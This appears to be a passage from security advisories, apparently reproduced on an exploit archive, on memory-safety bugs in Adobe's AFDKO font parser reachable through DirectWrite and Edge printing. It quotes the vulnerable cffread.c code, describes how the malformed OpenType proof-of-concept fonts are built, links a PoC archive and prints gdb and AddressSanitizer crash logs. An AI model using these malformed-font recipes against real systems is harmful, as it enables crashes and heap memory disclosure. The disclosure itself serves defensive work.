trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The AFDKO library has its own implementation of dynamic arrays, semantically resembling e.g. std::vector from C++. These objects are implemented in c/public/lib/source/dynarr/dynarr.c and c/public/lib/api/dynarr.h. There are a few interesting observations we can make about them:
- Each dynamic array is initialized with the dnaINIT() macro, which lets the caller specify the initial number of items allocated on first access, and the increments in which the array is extended. This is an optimization designed to reduce the number of memory allocations, while making it possible to fine-tune the behavior of the array based on the nature of the data it stores.
- An empty dynamic array object uses the "array" pointer (which normally stores the address of the allocated elements) to store the "init" value, i.e. the minimum number of elements to allocate. Therefore referencing a non-existing element in an empty dynarr typically results in a near-NULL pointer dereference crash.
- Information such as element counts, indexes etc. is usually passed to the dna* functions as signed integers or longs. This means, for example, that calling dnaSET_CNT() with a nonpositive "n" argument on an empty array is a no-op, as "n" is then smaller or equal to the current cnt=0, and thus no allocation is performed.
There are several places in AFDKO where dynamic arrays are used incorrectly in the following ways:
- The size of a dynarr is set to 0 and the code starts operating on the dynarr.array pointer (wrongly) assuming that the array contains at least 1 element,
- The size of a dynarr is set to a negative value (which keeps the array at the same length as it was before), but it is later used as an unsigned number, e.g. to control the number of loop iterations.
Considering the current implementation of the dynarrays, both of the above situations lead to NULL pointer dereference crashes which are impossible to exploit for arbitrary code execution. However, this is due to pure coincidence, and if the internals of the dynamic arrays were a little different in the future (e.g. a malloc(0) pointer was initially assigned to an empty array), then these bugs would immediately become memory corruption issues. The affected areas of code don't respect the length of the arrays they read from and write to, which is why we are reporting the issues despite their seemingly low severity.
We noticed the bugs in the following locations in cffread.c:
--- cut ---
1900 static void buildGIDNames(cfrCtx h) {
1901 char *p;
1902 long length;
1903 long numGlyphs = h->glyphs.cnt;
1904 unsigned short i;
1905
1906 dnaSET_CNT(h->post.fmt2.glyphNameIndex, numGlyphs);
1907 for (i = 0; i < numGlyphs; i++) {
1908 h->post.fmt2.glyphNameIndex.array[i] = i;
1909 }
1910 /* Read string data */
1911 length = numGlyphs * 9; /* 3 for 'gid', 5 for GID, 1 for null termination. */
1912 dnaSET_CNT(h->post.fmt2.buf, length + 1);
1913 /* Build C strings array */
1914 dnaSET_CNT(h->post.fmt2.strings, numGlyphs);
1915 p = h->post.fmt2.buf.array;
1916 sprintf(p, ".notdef");
1917 length = (long)strlen(p);
1918 h->post.fmt2.strings.array[0] = p;
1919 p += length + 1;
1920 for (i = 1; i < numGlyphs; i++) {
1921 h->post.fmt2.strings.array[i] = p;
1922 sprintf(p, "gid%05d", i);
1923 length = (long)strlen(p);
1924 p += length + 1;
1925 }
1926
1927 return; /* Success */
1928 }
--- cut ---
In the above function, if numGlyphs=0, then there are two problems:
- The length of the h->post.fmt2.buf buffer is set to 1 in line 1912, but then 8 bytes are copied into it in line 1916. However, because the "init" value for the array is 300, 300 bytes are allocated instead of just 1 and no memory corruption takes place.
- The length of h->post.fmt2.strings is set to 0 in line 1914, yet the code accesses the non-existent element h->post.fmt2.strings.array[0] in line 1918, triggering a crash.
Furthermore, in readCharset():
--- cut ---
[...]
2164 default: {
2165 /* Custom charset */
2166 long gid;
2167 int size = 2;
2168
2169 srcSeek(h, h->region.Charset.begin);
2170
2171 gid = 0;
2172 addID(h, gid++, 0); /* .notdef */
2173
2174 switch (read1(h)) {
[...]
--- cut ---
where addID() is defined as:
--- cut ---
1839 static void addID(cfrCtx h, long gid, unsigned short id) {
1840 abfGlyphInfo *info = &h->glyphs.array[gid];
1841 if (h->flags & CID_FONT)
1842 /* Save CID */
1843 info->cid = id;
1844 else {
1845 /* Save SID */
1846 info->gname.impl = id;
1847 info->gname.ptr = sid2str(h, id);
1848
1849 /* Non-CID font so select FD[0] */
1850 info->iFD = 0;
[...]
--- cut ---
Here in line 2172, readCharset() assumes that there is at least one glyph declared in the font (the ".notdef"). If there aren't any, trying to access h->glyphs.array[0] leads to a crash in line 1843 or 1846.
Lastly, let's have a look at readCharStringsINDEX():
--- cut ---
1779 /* Read CharStrings INDEX. */
1780 static void readCharStringsINDEX(cfrCtx h, short flags) {
1781 unsigned long i;
1782 INDEX index;
1783 Offset offset;
1784
1785 /* Read INDEX */
1786 if (h->region.CharStringsINDEX.begin == -1)
1787 fatal(h, cfrErrNoCharStrings);
1788 readINDEX(h, &h->region.CharStringsINDEX, &index);
1789
1790 /* Allocate and initialize glyphs array */
1791 dnaSET_CNT(h->glyphs, index.count);
1792 srcSeek(h, index.offset);
1793 offset = index.data + readN(h, index.offSize);
1794 for (i = 0; i < index.count; i++) {
1795 long length;
1796 abfGlyphInfo *info = &h->glyphs.array[i];
1797
1798 abfInitGlyphInfo(info);
1799 info->flags = flags;
1800 info->tag = (unsigned short)i;
[...]
1814 }
1815 }
--- cut ---
The index.count field is of type "unsigned long", and on platforms where it is 32-bit wide (Linux x86, Windows x86/x64), it can be fully controlled by input CFF2 fonts. In line 1791, the field is used to set the length of the h->glyphs array. Please note that a value of 0x80000000 or greater becomes negative when cast to long, which is the parameter type of dnaSET_CNT (or rather the underlying dnaSetCnt). As previously discussed, a negative new length doesn't change the state of the array, so h->glyphs remains empty. However, the loop in line 1794 operates on unsigned numbers, so it will attempt to perform 2 billion or more iterations, trying to write to h->glyphs.array[0, ...]. The first access to h->glyphs.array[0] inside of abfInitGlyphInfo() will trigger an exception.
As a side note, in readCharStringsINDEX(), if the index loaded in line 1788 is empty (i.e. index.count == 0), then other fields in the structure such as index.offset or index.offSize are left uninitialized. They are, however, unconditionally used in lines 1792 and 1793 to seek in the data stream and potentially read some bytes. This doesn't seem to have any major effect on the program state, so it is only reported here as FYI.
-----=====[ Proof of Concept ]=====-----
There are three proof of concept files, poc_buildGIDNames.otf, poc_addID.otf and poc_readCharStringsINDEX.otf, which trigger crashes in the corresponding functions.
-----=====[ Crash logs ]=====-----
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_buildGIDNames.otf crashes in the following way:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000055694c in buildGIDNames (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1918
1918 h->post.fmt2.strings.array[0] = p;
(gdb) print h->post.fmt2.strings
$1 = {ctx = 0x6020000000d0, array = 0x32, cnt = 0, size = 0, incr = 200, func = 0x0}
(gdb) x/10i $rip
=> 0x55694c <buildGIDNames+748>: mov %rcx,(%rax)
0x55694f <buildGIDNames+751>: mov -0x18(%rbp),%rdx
0x556953 <buildGIDNames+755>: add $0x1,%rdx
0x556957 <buildGIDNames+759>: add -0x10(%rbp),%rdx
0x55695b <buildGIDNames+763>: mov %rdx,-0x10(%rbp)
0x55695f <buildGIDNames+767>: movw $0x1,-0x22(%rbp)
0x556965 <buildGIDNames+773>: movzwl -0x22(%rbp),%eax
0x556969 <buildGIDNames+777>: mov %eax,%ecx
0x55696b <buildGIDNames+779>: mov -0x20(%rbp),%rdx
0x55696f <buildGIDNames+783>: mov %rcx,%rdi
(gdb) info reg $rax
rax 0x32 50
(gdb) bt
#0 0x000000000055694c in buildGIDNames (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1918
#1 0x0000000000553d38 in postRead (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1964
#2 0x000000000053eeda in readCharset (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:2139
#3 0x00000000005299c8 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0)
at ../../../../../source/cffread/cffread.c:2789
#4 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#5 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf46 "poc_buildGIDNames.otf") at ../../../../source/tx.c:429
#6 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf46 "poc_buildGIDNames.otf") at ../../../../source/tx.c:488
#7 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc40) at ../../../../source/tx.c:558
#8 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc40) at ../../../../source/tx.c:1631
(gdb)
--- cut ---
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_addID.otf crashes in the following way:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000055640d in addID (h=0x62a000000200, gid=0, id=0) at ../../../../../source/cffread/cffread.c:1846
1846 info->gname.impl = id;
(gdb) print info
$1 = (abfGlyphInfo *) 0x100
(gdb) x/10i $rip
=> 0x55640d <addID+397>: mov %rcx,(%rax)
0x556410 <addID+400>: mov -0x8(%rbp),%rdi
0x556414 <addID+404>: movzwl -0x12(%rbp),%edx
0x556418 <addID+408>: mov %edx,%esi
0x55641a <addID+410>: callq 0x548c30 <sid2str>
0x55641f <addID+415>: mov -0x20(%rbp),%rcx
0x556423 <addID+419>: add $0x8,%rcx
0x556427 <addID+423>: mov %rcx,%rsi
0x55642a <addID+426>: shr $0x3,%rsi
0x55642e <addID+430>: cmpb $0x0,0x7fff8000(%rsi)
(gdb) info reg $rax
rax 0x110 272
(gdb) bt
#0 0x000000000055640d in addID (h=0x62a000000200, gid=0, id=0) at ../../../../../source/cffread/cffread.c:1846
#1 0x000000000053f2e9 in readCharset (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:2172
#2 0x00000000005299c8 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0)
at ../../../../../source/cffread/cffread.c:2789
#3 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#4 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf4e "poc_addID.otf") at ../../../../source/tx.c:429
#5 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf4e "poc_addID.otf") at ../../../../source/tx.c:488
#6 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:558
#7 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:1631
(gdb)
--- cut ---
A 32-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_readCharStringsINDEX.otf crashes in the following way:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0846344e in abfInitGlyphInfo (info=0x100) at ../../../../../source/absfont/absfont.c:124
124 info->flags = 0;
(gdb) print info
$1 = (abfGlyphInfo *) 0x100
(gdb) x/10i $eip
=> 0x846344e <abfInitGlyphInfo+94>: movw $0x0,(%eax)
0x8463453 <abfInitGlyphInfo+99>: mov 0x8(%ebp),%ecx
0x8463456 <abfInitGlyphInfo+102>: add $0x2,%ecx
0x8463459 <abfInitGlyphInfo+105>: mov %ecx,%edx
0x846345b <abfInitGlyphInfo+107>: shr $0x3,%edx
0x846345e <abfInitGlyphInfo+110>: or $0x20000000,%edx
0x8463464 <abfInitGlyphInfo+116>: mov (%edx),%bl
0x8463466 <abfInitGlyphInfo+118>: cmp $0x0,%bl
0x8463469 <abfInitGlyphInfo+121>: mov %ecx,-0x14(%ebp)
0x846346c <abfInitGlyphInfo+124>: mov %bl,-0x15(%ebp)
(gdb) info reg $eax
eax 0x100 256
(gdb) bt
#0 0x0846344e in abfInitGlyphInfo (info=0x100) at ../../../../../source/absfont/absfont.c:124
#1 0x08190954 in readCharStringsINDEX (h=0xf3f00100, flags=0) at ../../../../../source/cffread/cffread.c:1798
#2 0x081797b5 in cfrBegFont (h=0xf3f00100, flags=4, origin=0, ttcIndex=0, top=0xf570021c, UDV=0x0) at ../../../../../source/cffread/cffread.c:2769
#3 0x08155d26 in cfrReadFont (h=0xf5700200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#4 0x081556e0 in doFile (h=0xf5700200, srcname=0xffffcf3f "poc_readCharStringsINDEX.otf") at ../../../../source/tx.c:429
#5 0x08152fca in doSingleFileSet (h=0xf5700200, srcname=0xffffcf3f "poc_readCharStringsINDEX.otf") at ../../../../source/tx.c:488
#6 0x081469a7 in parseArgs (h=0xf5700200, argc=2, argv=0xffffcd78) at ../../../../source/tx.c:558
#7 0x08142640 in main (argc=2, argv=0xffffcd78) at ../../../../source/tx.c:1631
(gdb)
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47102.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The readCharset() function in afdko/c/public/lib/source/cffread/cffread.c is called from cfrBegFont(), the main entry point for parsing an input OpenType/CFF font by the "cfr" (CFF Reader) component of AFDKO. At the beginning of the function, it handles variable CFF2 fonts:
--- cut ---
2138 if (h->header.major == 2) {
2139 postRead(h);
2140 if (h->cff2.mvar)
2141 MVARread(h);
2142 if (!(h->flags & CID_FONT))
2143 readCharSetFromPost(h);
2144 else {
2145 long gid;
2146 for (gid = 0; gid < h->glyphs.cnt; gid++) {
2147 abfGlyphInfo *info = &h->glyphs.array[gid];
2148 info->cid = (unsigned short)gid;
2149 }
2150 }
2151 return;
2152 }
--- cut ---
In this report, we are most interested in lines 2139 and 2143, i.e. the calls to postRead() and readCharSetFromPost(). The postRead() routine is responsible for processing the "post" optional SFNT table, extracting the glyph names that it contains and copying them into the internal engine structures. Let's analyze some of its most important parts:
--- cut ---
1960 if (h->flags & CID_FONT)
1961 return; /* Don't read glyph names for CID fonts */
1962
1963 if (h->post.format != 0x00020000) {
1964 buildGIDNames(h);
1965 return;
1966 }
--- cut ---
In order to pass the two checks, the font must not be CID-keyed and the "post" table format must be 2.0. Then, the number of glyphs described by the table is loaded, and if it's inconsistent with the font's number of glyphs, a warning message is printed.
--- cut ---
1975 /* Parse format 2.0 data */
1976 numGlyphs = read2(h);
1977 if (numGlyphs != h->glyphs.cnt)
1978 message(h, "post 2.0: name index size doesn't match numGlyphs");
--- cut ---
Then, the function proceeds to fill out three internal objects: h->post.fmt2.glyphNameIndex (a dynamic array of "unsigned short", containing indexes into "strings"), h->post.fmt2.strings (a dynamic array of string pointers) and h->post.fmt2.buf (a dynamic array of characters, storing the textual data pointed to by "strings"). One very peculiar feature of the function is that upon encountering invalid input data, it flips the "post" table format to 0x00000001 (even though it was originally 0x00020000) and returns with success:
--- cut ---
2026 parseError:
2027 /* We managed to read the header but the rest of the table had an error that
2028 prevented reading some (or all) glyph names. We set the the post format
2029 to a value that will allow us to use the header values but will prevent
2030 us from using any glyph name data which is likely missing or invalid */
2031 h->post.format = 0x00000001;
2032 }
--- cut ---
While the message explains the developer's intention quite well, it is not factually correct, as the above post format doesn't prevent the code from using glyph name data later on.
The "parseError" label can be reached from four different locations, each of them being the result of a failed sanity check:
--- cut ---
1968 if (invalidStreamOffset(h, table->offset + table->length - 1)) {
1969 message(h, "post: table truncated");
1970 goto parseError;
1971 }
[...]
1982 if (length < numGlyphs * 2) {
1983 message(h, "post 2.0: table truncated (table ignored)");
1984 goto parseError;
1985 }
[...]
1993 if (nid > 32767) {
1994 message(h, "post 2.0: invalid name id (table ignored)");
1995 goto parseError;
[...]
2015 if (p > end) {
2016 message(h, "post 2.0: invalid strings");
2017 goto parseError;
2018 }
--- cut ---
Executing the goto statements in lines 1995 and 2017 may lead to inconsistent program state. Here is what may happen:
- When line 1995 executes, the "glyphNameIndex" object has "numGlyphs" elements, but some of them may be uninitialized, and the "strings" and "buf" arrays are empty.
- When line 2017 executes, the "strings" array may be shorter than "glyphNameIndex" (because "strCount" may be smaller than "numGlyphs", as counted by the array in lines 1990-1998), and it may be only partially initialized.
Knowing that the above conditions may be achieved, let's analyze the second function of interest, readCharSetFromPost(). A majority of its body only executes if the CFR_IS_CFF2 flag is not set, which is not the case for us (remember that the input font must be a CFF2 one):
--- cut ---
2060 static void readCharSetFromPost(cfrCtx h) {
2061 Offset offset;
2062 unsigned long i;
2063 long gid;
2064 char *p;
2065 long lenStrings = ARRAY_LEN(stdstrs);
2066
2067 if (!(h->flags & CFR_IS_CFF2)) {
[...]
2111 }
[...]
--- cut ---
This leaves us with the following loop at the end:
--- cut ---
2113 for (gid = 0; gid < h->glyphs.cnt; gid++) {
2114 abfGlyphInfo *info = &h->glyphs.array[gid];
2115 info->gname.ptr = post2GetName(h, (SID)gid);
2116 }
--- cut ---
For each glyph in the font, the loop tries to initialize the glyph's gname.ptr pointer with the address of its textual name. To obtain the address, the following post2GetName() function is used:
--- cut ---
1819 /* Get glyph name from format 2.0 post table. */
1820 static char *post2GetName(cfrCtx h, SID gid) {
1821 if (gid >= h->post.fmt2.glyphNameIndex.cnt)
1822 return NULL; /* Out of bounds; .notdef */
1823 else if (h->post.format != 0x00020000)
1824 return h->post.fmt2.strings.array[gid];
1825 else {
1826 long nid = h->post.fmt2.glyphNameIndex.array[gid];
1827 if (nid == 0)
1828 return stdstrs[nid]; /* .notdef */
1829 else if (nid < 258)
1830 return applestd[nid];
1831 else if (nid - 258 >= h->post.fmt2.strings.cnt) {
1832 return NULL; /* Out of bounds; .notdef */
1833 } else
1834 return h->post.fmt2.strings.array[nid - 258];
1835 }
1836 }
--- cut ---
This is the last piece of the puzzle and the place where most of the problem resides. Between lines 1821-1824, the code makes two significant assumptions:
- That the h->post.fmt2.strings array is as long as h->post.fmt2.glyphNameIndex, i.e. if "gid < h->post.fmt2.glyphNameIndex.cnt" then it is safe to access h->post.fmt2.strings.array[gid].
- That the h->post.fmt2.strings array is fully initialized.
Now as we saw before, neither of these assumptions must be true: the "strings" array may be shorter (or completely empty) than "glyphNameIndex", and it may be partially uninitialized due to an early exit from postRead(). Breaking the assumptions may lead to the following:
- A NULL pointer dereference in line 1824, since an empty "strings" object has a near-NULL "array" value,
- Returning an uninitialized chunk of memory as the address of the glyph name,
- Returning an out-of-bounds chunk of memory as the address of the glyph name.
In the 2nd and 3rd case, the invalid gname.ptr value is later referenced when building the output file, for example in glyphBeg (cffwrite/cffwrite_t2cstr.c) if the output format is CFF:
--- cut ---
243 (info->gname.ptr == NULL || info->gname.ptr[0] == '\0')) {
--- cut ---
Considering that the vulnerability may allow writing a string from a potentially controlled address in the process address space to the output file, we classify it as an information disclosure flaw.
-----=====[ Lesser bugs ]=====-----
There are two less significant bugs in the creation of the C strings array in postRead(). Let's analyze the following loop again:
--- cut ---
2005 /* Build C strings array */
2006 dnaSET_CNT(h->post.fmt2.strings, strCount);
2007 p = h->post.fmt2.buf.array;
2008 end = p + length;
2009 i = 0;
2010 for (i = 0; i < h->post.fmt2.strings.cnt; i++) {
2011 length = *(unsigned char *)p;
2012 *p++ = '\0';
2013 h->post.fmt2.strings.array[i] = p;
2014 p += length;
2015 if (p > end) {
2016 message(h, "post 2.0: invalid strings");
2017 goto parseError;
2018 }
2019 }
2020 *p = '\0';
2021 if (p != end)
2022 message(h, "post 2.0: string data didn't reach end of table");
2023
2024 return; /* Success */
2025
2026 parseError:
2027 /* We managed to read the header but the rest of the table had an error that
2028 prevented reading some (or all) glyph names. We set the the post format
2029 to a value that will allow us to use the header values but will prevent
2030 us from using any glyph name data which is likely missing or invalid */
2031 h->post.format = 0x00000001;
2032 }
--- cut ---
The issues are as follows:
- It is possible to set a glyph name in h->post.fmt2.strings.array[i] (line 2013) to a pointer just outside the h->post.fmt2.buf.array allocation (i.e. equal to the value of the "end" pointer). This is due to the fact that the check in line 2015 only verifies that "p" doesn't go significantly outside the buffer, but allows it to be exactly on the verge of it (one byte after). This may later lead to the disclosure of out-of-bounds heap memory.
- If the error branch in lines 2015-2018 is taken, the last initialized string in the h->post.fmt2.strings array won't be nul-terminated, which also may disclose data from adjacent heap chunks.
-----=====[ Proof of Concept ]=====-----
There are three proof of concept files, poc_null_deref.otf, poc_uninit.otf and poc_oob.otf. They trigger crashes as a result of a NULL pointer dereference, use of uninitialized memory and an out-of-bounds memory read, respectively.
The malformed values are as follows:
- In poc_null_deref.otf, the first "nid" is 65535 (larger than 32767), causing the goto statement in line 1995 to be executed, which leaves h->post.fmt2.strings empty.
- In poc_uninit.otf, the length of the first string on the list is declared as 255, which exceeds the length of the overall "post" table. This causes postRead() to bail out early in cffread.c:2017, with only h->post.fmt2.strings.array[0] having been initialized, but not array[1] or array[2]. However the latter two values are still returned as valid glyph names by post2GetName(). Later on, this leads to a crash while trying to read from address 0xbebe..be, with 0xbe being ASAN's uninitialized memory marker.
- In poc_oob.otf, we set numGlyphs to 60 (i.e. the length of the h->post.fmt2.glyphNameIndex) array, but set the "nid" values such that strCount (i.e. the length of h->post.fmt2.strings) equals 50. All 50 string lengths are set to 0 except for the last one, which is set to 255, exceeding the size of the "post" table. This causes the "goto" in line 2017 to be taken, setting the post table format to 0x00000001. At a later stage of the font parsing, post2GetName() is called with gid=0, 1, ... 49, 50, 51, 52, and so forth. When "gid" reaches 50, the "gid >= h->post.fmt2.glyphNameIndex.cnt" condition is not met and "h->post.format != 0x00020000" is, so the function ends up accessing the out-of-bounds value at h->post.fmt2.strings.array[50].
The uninitialized memory case doesn't affect Microsoft DirectWrite, as its own allocation function returns zero-ed out memory.
-----=====[ Crash logs ]=====-----
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_uninit.otf crashes in the following way:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x00000000005b5add in glyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/cffwrite/cffwrite_t2cstr.c:243
243 (info->gname.ptr == NULL || info->gname.ptr[0] == '\0')) {
(gdb) x/10i $rip
=> 0x5b5add <glyphBeg+2125>: mov 0x7fff8000(%rdx),%sil
0x5b5ae4 <glyphBeg+2132>: cmp $0x0,%sil
0x5b5ae8 <glyphBeg+2136>: mov %rcx,-0x138(%rbp)
0x5b5aef <glyphBeg+2143>: mov %sil,-0x139(%rbp)
0x5b5af6 <glyphBeg+2150>: je 0x5b5b23 <glyphBeg+2195>
0x5b5afc <glyphBeg+2156>: mov -0x138(%rbp),%rax
0x5b5b03 <glyphBeg+2163>: and $0x7,%rax
0x5b5b07 <glyphBeg+2167>: mov %al,%cl
0x5b5b09 <glyphBeg+2169>: mov -0x139(%rbp),%dl
0x5b5b0f <glyphBeg+2175>: cmp %dl,%cl
(gdb) info reg $rdx
rdx 0x17d7d7d7d7d7d7d7 1718079104904320983
(gdb) print info->gname
$1 = {ptr = 0xbebebebebebebebe <error: Cannot access memory at address 0xbebebebebebebebe>, impl = -1}
(gdb) bt
#0 0x00000000005b5add in glyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/cffwrite/cffwrite_t2cstr.c:243
#1 0x00000000006d6fd2 in otfGlyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/tx_shared/tx_shared.c:4812
#2 0x0000000000542089 in readGlyph (h=0x62a000000200, gid=1, glyph_cb=0x62c0000078d8) at ../../../../../source/cffread/cffread.c:2891
#3 0x0000000000541c33 in cfrIterateGlyphs (h=0x62a000000200, glyph_cb=0x62c0000078d8) at ../../../../../source/cffread/cffread.c:2966
#4 0x0000000000509663 in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
#5 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf37 "poc_uninit.otf")
at ../../../../source/tx.c:429
#6 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf37 "poc_uninit.otf")
at ../../../../source/tx.c:488
#7 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:558
#8 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:1631
(gdb)
--- cut ---
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_oob.otf prints out the following report:
--- cut ---
=================================================================
==172440==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6140000005d0 at pc 0x000000556c71 bp 0x7fffcbccca60 sp 0x7fffcbccca58
READ of size 8 at 0x6140000005d0 thread T0
#0 0x556c70 in post2GetName afdko/c/public/lib/source/cffread/cffread.c:1824:16
#1 0x555f53 in readCharSetFromPost afdko/c/public/lib/source/cffread/cffread.c:2115:27
#2 0x53efc4 in readCharset afdko/c/public/lib/source/cffread/cffread.c:2143:13
#3 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9
#4 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#9 0x7f655ae8e2b0 in __libc_start_main
#10 0x41e5b9 in _start
0x6140000005d0 is located 0 bytes to the right of 400-byte region [0x614000000440,0x6140000005d0)
allocated by thread T0 here:
#0 0x4c63f3 in __interceptor_malloc
#1 0x6c9da2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
#3 0x7de92e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
#4 0x7def55 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
#5 0x554658 in postRead afdko/c/public/lib/source/cffread/cffread.c:2006:5
#6 0x53eed9 in readCharset afdko/c/public/lib/source/cffread/cffread.c:2139:9
#7 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9
#8 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#9 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#10 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#11 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#12 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#13 0x7f655ae8e2b0 in __libc_start_main
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:1824:16 in post2GetName
Shadow bytes around the buggy address:
0x0c287fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c287fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
0x0c287fff8080: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c287fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c287fff80a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c287fff80b0: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa
0x0c287fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==172440==ABORTING
--- cut ---
